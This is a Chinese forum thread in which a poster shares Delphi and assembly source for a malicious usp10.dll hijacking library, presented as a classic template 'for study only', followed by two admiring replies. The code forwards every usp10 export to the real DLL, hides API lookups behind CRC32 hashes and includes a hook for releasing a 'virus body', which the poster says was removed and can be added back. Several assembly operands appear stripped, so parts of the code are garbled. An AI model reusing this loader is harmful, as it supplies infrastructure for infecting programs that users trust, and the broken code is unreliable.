lofullen 发表于 2018-8-28 15:41

Delphi 汇编 Usp10.dll 劫持经典代码,编译后7.5k

本代码仅供学习之用


library usp10;
uses
Windows;

var
pUspKernelOfHijacked : pchar = 'KernelOfHijacked';
pUspInfectedPath : array of char; //exe
pUspHijackedPath : array of char; //dll
hUspMutex: Thandle = 0;
hUspEvent: Thandle = 0;
hUspThread: Thandle = 0;
pUspInfected: BOOL = FALSE;
pWinPlatform: Pchar;
hOldUspLibrary: HMODULE = 0;
pOldUspLibraryPath: array of char;
pOldUspLibraryLoad: pchar = '\USP10';
pOldLpkPresent,
pOldScriptApplyDigitSubstitution,
pOldScriptApplyLogicalWidth,
pOldScriptBreak,
pOldScriptCPtoX,
pOldScriptCacheGetHeight,
pOldScriptFreeCache,
pOldScriptGetCMap,
pOldScriptGetFontProperties,
pOldScriptGetGlyphABCWidth,
pOldScriptGetLogicalWidths,
pOldScriptGetProperties,
pOldScriptIsComplex,
pOldScriptItemize,
pOldScriptJustify,
pOldScriptLayout,
pOldScriptPlace,
pOldScriptRecordDigitSubstitution,
pOldScriptShape,
pOldScriptStringAnalyse,
pOldScriptStringCPtoX,
pOldScriptStringFree,
pOldScriptStringGetLogicalWidths,
pOldScriptStringGetOrder,
pOldScriptStringOut,
pOldScriptStringValidate,
pOldScriptStringXtoCP,
pOldScriptString_pLogAttr,
pOldScriptString_pSize,
pOldScriptString_pcOutChars,
pOldScriptTextOut,
pOldScriptXtoCP,
pOldUspAllocCache,
pOldUspAllocTemp,
pOldUspFreeMem : Pointer;

procedure LpkPresent; stdcall;
asm jmp pOldLpkPresent
end;
procedure ScriptApplyDigitSubstitution; stdcall;
asm jmp pOldScriptApplyDigitSubstitution
end;
procedure ScriptApplyLogicalWidth; stdcall;
asm jmp pOldScriptApplyLogicalWidth
end;
procedure ScriptBreak; stdcall;
asm jmp pOldScriptBreak
end;
procedure ScriptCPtoX; stdcall;
asm jmp pOldScriptCPtoX
end;
procedure ScriptCacheGetHeight; stdcall;
asm jmp pOldScriptCacheGetHeight
end;
procedure ScriptFreeCache; stdcall;
asm jmp pOldScriptFreeCache
end;
procedure ScriptGetCMap; stdcall;
asm jmp pOldScriptGetCMap
end;
procedure ScriptGetFontProperties; stdcall;
asm jmp pOldScriptGetFontProperties
end;
procedure ScriptGetGlyphABCWidth; stdcall;
asm jmp pOldScriptGetGlyphABCWidth
end;
procedure ScriptGetLogicalWidths; stdcall;
asm jmp pOldScriptGetLogicalWidths
end;
procedure ScriptGetProperties; stdcall;
asm jmp pOldScriptGetProperties
end;
procedure ScriptIsComplex; stdcall;
asm jmp pOldScriptIsComplex
end;
procedure ScriptItemize; stdcall;
asm jmp pOldScriptItemize
end;
procedure ScriptJustify; stdcall;
asm jmp pOldScriptJustify
end;
procedure ScriptLayout; stdcall;
asm jmp pOldScriptLayout
end;
procedure ScriptPlace; stdcall;
asm jmp pOldScriptPlace
end;
procedure ScriptRecordDigitSubstitution; stdcall;
asm jmp pOldScriptRecordDigitSubstitution
end;
procedure ScriptShape; stdcall;
asm jmp pOldScriptShape
end;
procedure ScriptStringAnalyse; stdcall;
asm jmp pOldScriptStringAnalyse
end;
procedure ScriptStringCPtoX; stdcall;
asm jmp pOldScriptStringCPtoX
end;
procedure ScriptStringFree; stdcall;
asm jmp pOldScriptStringFree
end;
procedure ScriptStringGetLogicalWidths; stdcall;
asm jmp pOldScriptStringGetLogicalWidths
end;
procedure ScriptStringGetOrder; stdcall;
asm jmp pOldScriptStringGetOrder
end;
procedure ScriptStringOut; stdcall;
asm jmp pOldScriptStringOut
end;
procedure ScriptStringValidate; stdcall;
asm jmp pOldScriptStringValidate
end;
procedure ScriptStringXtoCP; stdcall;
asm jmp pOldScriptStringXtoCP
end;
procedure ScriptString_pLogAttr; stdcall;
asm jmp pOldScriptString_pLogAttr
end;
procedure ScriptString_pSize; stdcall;
asm jmp pOldScriptString_pSize
end;
procedure ScriptString_pcOutChars; stdcall;
asm jmp pOldScriptString_pcOutChars
end;
procedure ScriptTextOut; stdcall;
asm jmp pOldScriptTextOut
end;
procedure ScriptXtoCP; stdcall;
asm jmp pOldScriptXtoCP
end;
procedure UspAllocCache; stdcall;
asm jmp pOldUspAllocCache
end;
procedure UspAllocTemp; stdcall;
asm jmp pOldUspAllocTemp
end;
procedure UspFreeMem; stdcall;
asm jmp pOldUspFreeMem
end;

procedure UspExportTable();
begin
pOldLpkPresent:= GetProcAddress(hOldUspLibrary, 'LpkPresent');
pOldScriptApplyDigitSubstitution:= GetProcAddress(hOldUspLibrary, 'ScriptApplyDigitSubstitution');
pOldScriptApplyLogicalWidth:= GetProcAddress(hOldUspLibrary, 'ScriptApplyLogicalWidth');
pOldScriptBreak:= GetProcAddress(hOldUspLibrary, 'ScriptBreak');
pOldScriptCPtoX:= GetProcAddress(hOldUspLibrary, 'ScriptCPtoX');
pOldScriptCacheGetHeight:= GetProcAddress(hOldUspLibrary, 'ScriptCacheGetHeight');
pOldScriptFreeCache:= GetProcAddress(hOldUspLibrary, 'ScriptFreeCache');
pOldScriptGetCMap:= GetProcAddress(hOldUspLibrary, 'ScriptGetCMap');
pOldScriptGetFontProperties:= GetProcAddress(hOldUspLibrary, 'ScriptGetFontProperties');
pOldScriptGetGlyphABCWidth:= GetProcAddress(hOldUspLibrary, 'ScriptGetFontProperties');
pOldScriptGetLogicalWidths:= GetProcAddress(hOldUspLibrary, 'ScriptGetLogicalWidths');
pOldScriptGetProperties:= GetProcAddress(hOldUspLibrary, 'ScriptGetProperties');
pOldScriptIsComplex:= GetProcAddress(hOldUspLibrary, 'ScriptIsComplex');
pOldScriptItemize:= GetProcAddress(hOldUspLibrary, 'ScriptItemize');
pOldScriptJustify:= GetProcAddress(hOldUspLibrary, 'ScriptJustify');
pOldScriptLayout:= GetProcAddress(hOldUspLibrary, 'ScriptLayout');
pOldScriptPlace:= GetProcAddress(hOldUspLibrary, 'ScriptPlace');
pOldScriptRecordDigitSubstitution:= GetProcAddress(hOldUspLibrary, 'ScriptRecordDigitSubstitution');
pOldScriptShape:= GetProcAddress(hOldUspLibrary, 'ScriptShape');
pOldScriptStringAnalyse:= GetProcAddress(hOldUspLibrary, 'ScriptStringAnalyse');
pOldScriptStringCPtoX:= GetProcAddress(hOldUspLibrary, 'ScriptStringCPtoX');
pOldScriptStringFree:= GetProcAddress(hOldUspLibrary, 'ScriptStringFree');
pOldScriptStringGetLogicalWidths:= GetProcAddress(hOldUspLibrary, 'ScriptStringGetLogicalWidths');
pOldScriptStringGetOrder:= GetProcAddress(hOldUspLibrary, 'ScriptStringGetOrder');
pOldScriptStringOut:= GetProcAddress(hOldUspLibrary, 'ScriptStringOut');
pOldScriptStringValidate:= GetProcAddress(hOldUspLibrary, 'ScriptStringValidate');
pOldScriptStringXtoCP:= GetProcAddress(hOldUspLibrary, 'ScriptStringXtoCP');
pOldScriptString_pLogAttr:= GetProcAddress(hOldUspLibrary, 'ScriptString_pLogAttr');
pOldScriptString_pSize:= GetProcAddress(hOldUspLibrary, 'ScriptString_pSize');
pOldScriptString_pcOutChars:= GetProcAddress(hOldUspLibrary, 'ScriptString_pcOutChars');
pOldScriptTextOut:= GetProcAddress(hOldUspLibrary, 'ScriptTextOut');
pOldScriptXtoCP:= GetProcAddress(hOldUspLibrary, 'ScriptXtoCP');
pOldUspAllocCache:= GetProcAddress(hOldUspLibrary, 'UspAllocCache');
pOldUspAllocTemp:= GetProcAddress(hOldUspLibrary, 'UspAllocTemp');
pOldUspFreeMem:= GetProcAddress(hOldUspLibrary, 'UspFreeMem');
end;

procedure UspMainProcess();
begin
//病毒体释放的部分已移除!!!可以自行添加
end;


function GetKernel32Module(): HMODULE;
asm
push esi
mov eax, fs:$30
mov eax,
mov esi,
lodsd
mov eax,
pop esi
end;

function LStrLengthA(lpString: PAnsiChar): UINT;
asm
push edi
push ebx
mov edi, eax
mov ebx, eax
xor al, al                   // al = 00 遇到字符串末尾则退出循环
mov cx, 255                  // cx = ff 字符串超过255则退出循环
repne scasb
dec edi
sub edi, ebx
mov eax, edi
pop ebx
pop edi
end;

function CalcBufferCRC(lpString: PAnsiChar): UINT;
var
checksum : DWORD;
asm
push ebx
push ecx
push edx
push edi
push esi
mov ebx, eax
call LStrLengthA                  // eax = 字符串长度
xor edx, edx                        // edx = 整除后的余数
mov ecx, 4
div ecx
xor ecx, ecx
@@loopBegin:
dec eax                           // eax = 整除后的整数
jl @@loopOver
xor ecx, dword ptr ds:         // ecx = CRC32
add ebx, 4
jmp @@loopBegin
@@loopOver:
test edx, edx                     // 如果有余数则执行
je @@Nochecksum
mov eax, ecx
mov esi, ebx                        // esi = 剩余字节的首指针
lea edi, checksum
mov dword ptr ds:, 0         // checksum 归零 这样的做法为了保证只读取 00 之前的剩余字节
mov ecx, edx
rep movsb                           // checksum 得到剩余字节(自然是小于4咯)
lea edi, checksum
xor eax, dword ptr ds:         // 最后一次
jmp @@calcEnd
@@Nochecksum:
mov eax, ecx                        // 直接获取 ECX 中的 CRC32
@@calcEnd:
pop esi
pop edi
pop edx
pop ecx
pop ebx
end;

function GetProcAddressCRC(dwExportCRC: UINT): Pointer;
var
lpProcNameCRC, dwProcNumber: Cardinal;
pProcAddress, pProcNameAddress, pProcIndexAddress: Pointer;
asm
push ebx
push esi
mov lpProcNameCRC, eax      // edx=函数名CRC32
call GetKernel32Module      // eax=kernel32
mov ebx, eax                // ebx=基址
mov eax,           // eax=文件头偏移
mov esi,       // esi=输出表偏移,文件头+可选头的长度=$78
lea esi,       // esi=函数名数量 = 函数数量
lodsd
mov dwProcNumber, eax       // eax=函数名数量
lodsd
mov pProcAddress, eax       // eax=函数偏移量
lodsd
mov pProcNameAddress, eax   // eax=函数名偏移量
lodsd
mov pProcIndexAddress, eax// eax=序列号偏移量
mov edx, dwProcNumber       // edx=遍历次数
@@LoopBegin:
xor eax, eax                // Result = 0
dec edx
jl @@LoopEnd
mov eax, pProcNameAddress
add eax, ebx                // eax=函数名基地址
mov eax, dword ptr ds:
add eax, ebx                // eax=遍历函数名
call CalcBufferCRC
cmp eax, lpProcNameCRC      // 对比CRC32
jnz @@LoopBegin
shl edx, 1
add edx, pProcIndexAddress// 函数基序列
movzx eax, word ptr ss:
shl eax, 2
add eax, pProcAddress       // 函数基地址
mov eax,
add eax, ebx                // Result = 函数地址
@@LoopEnd:
pop esi
pop ebx
end;

procedure UspDllLoad();
asm
push hInstance
call DisableThreadLibraryCalls
push MAX_PATH
push offset pUspInfectedPath      //读取感染路径 exe
push 0
call GetModuleFileNameA
push MAX_PATH
push offset pUspHijackedPath      //读取劫持路径 dll
push hInstance
call GetModuleFileNameA
@@DoHijacked:
mov eax, $55507243       //CreateMutexA CRC32
call GetProcAddressCRC
push pUspKernelOfHijacked
push TRUE
push 0
call eax
test eax, eax
je @@DoRestore
mov hUspMutex, eax
call GetLastError
cmp eax, ERROR_ALREADY_EXISTS
jne @@DoInfected
push hUspMutex
call CloseHandle
jmp @@DoRestore                   //如果互斥体存在则直接恢复USP10.DLL
@@DoInfected:                     
call UspMainProcess               //释放病原体
@@DoRestore:
push MAX_PATH
push offset pOldUspLibraryPath
call GetSystemDirectoryA
push pOldUspLibraryLoad
push offset pOldUspLibraryPath
call lstrcatA
mov eax, $577A7461      //LoadLibraryA CRC32
call GetProcAddressCRC
push offset pOldUspLibraryPath
call eax
mov hOldUspLibrary, eax
call UspExportTable
end;

procedure UspDllFree();
asm
mov eax, hUspEvent
test eax, eax
je @@NotEvent
push eax
call SetEvent
push INFINITE
push hUspThread
call WaitForSingleObject
push hUspThread
call CloseHandle
push hUspEvent
call CloseHandle
@@NotEvent:
push hOldUspLibrary
call FreeLibrary
end;

exports
LpkPresent,
ScriptApplyDigitSubstitution,
ScriptApplyLogicalWidth,
ScriptBreak,
ScriptCPtoX,
ScriptCacheGetHeight,
ScriptFreeCache,
ScriptGetCMap,
ScriptGetFontProperties,
ScriptGetGlyphABCWidth,
ScriptGetLogicalWidths,
ScriptGetProperties,
ScriptIsComplex,
ScriptItemize,
ScriptJustify,
ScriptLayout,
ScriptPlace,
ScriptRecordDigitSubstitution,
ScriptShape,
ScriptStringAnalyse,
ScriptStringCPtoX,
ScriptStringFree,
ScriptStringGetLogicalWidths,
ScriptStringGetOrder,
ScriptStringOut,
ScriptStringValidate,
ScriptStringXtoCP,
ScriptString_pLogAttr,
ScriptString_pSize,
ScriptString_pcOutChars,
ScriptTextOut,
ScriptXtoCP,
UspAllocCache,
UspAllocTemp,
UspFreeMem;

asm
call @@attach      // 直接 call 下一条语句
@@attach:
cmp DLLReason, DLL_PROCESS_ATTACH
jnz @@detach
lea eax, @@DLLProcessEnd
mov , eax      // 替换 call UspDllLoad 的返回地址为 DLLProcessEnd
lea eax, UspDllLoad // 替换本次 call 返回地址为 UspDllLoad
push eax
ret
@@detach:
lea eax, @@DLLProcessEnd
mov , eax
lea eax, UspDllFree // 替代直接 call
push eax
ret
@@DLLProcessEnd:
leave
ret
end.

徐袁彬 发表于 2018-11-3 21:34

虽然看不懂,但是还是觉得很厉害的样子

放到开水 发表于 2022-9-27 18:12

很厉害的样子
页: [1]
查看完整版本: Delphi 汇编 Usp10.dll 劫持经典代码,编译后7.5k